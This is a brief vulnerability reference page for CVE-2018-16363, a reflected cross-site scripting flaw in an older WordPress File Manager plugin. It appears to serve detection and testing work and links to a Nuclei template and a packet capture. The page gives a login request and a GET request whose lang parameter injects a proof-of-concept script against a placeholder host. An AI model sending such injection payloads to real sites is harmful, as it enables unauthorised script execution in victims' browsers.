CVE-2018-16363: WordPress File Manager < 3.0 - Cross-Site Scripting

🔍 Vulnerability Description

WordPress File Manager plugin before 3.0 is vulnerable to authenticated reflected cross-site scripting (XSS) via the lang parameter in the admin dashboard. The parameter is directly echoed into a JavaScript context without proper sanitization.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=IagC7X&pwd=0aJblh&wp-submit=Log+In

GET /wp-admin/admin.php?page=wp_file_manager&lang=%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15
Connection: close
Accept-Encoding: gzip

🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-16363.yaml

🦈 Packet Capture: ⬇️ Download cve-2018-16363.pcap